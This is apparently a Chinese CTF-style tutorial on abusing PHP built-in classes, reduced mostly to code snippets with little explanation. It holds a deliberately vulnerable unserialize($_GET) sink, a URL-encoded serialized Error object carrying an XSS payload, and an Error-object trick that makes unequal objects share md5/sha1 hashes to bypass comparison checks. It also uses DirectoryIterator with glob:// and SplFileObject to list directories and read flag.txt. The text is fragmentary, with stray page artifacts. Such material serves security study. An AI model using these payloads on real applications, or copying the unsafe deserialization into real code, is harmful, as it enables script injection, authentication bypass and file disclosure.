PHP原生类的总结分享

 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
    
}

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JSONException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
Mysqli_sql_exception
PharException
PharData
PharFileInfo

<?php
$a = unserialize($_GET['a']);echo $a;

<?php
$a = new Error("<script>alert('hacker')</script>");
$b = serialize($a);
echo urlencode($b);

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码

<?php
$a = new Exception("<script>alert('hacker')</script>");
$b = serialize($a);
echo urlencode($b);
?>

<?php
$a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";

<?php
$a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo '$a不等于$b'."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}

public SoapClient :: SoapClient(mixed $wsdl [，array $options ])

<?php
$a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.'</br>');
}
echo $a;

<?php
$a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.'<br>';
}

<?php
$a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

<?php
$a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

<?php
$a = new SplFileObject('flag.txt');
echo $a;

<?php
$a = new SplFileObject('flag.txt');
foreach($a as $f){
    echo($f);
}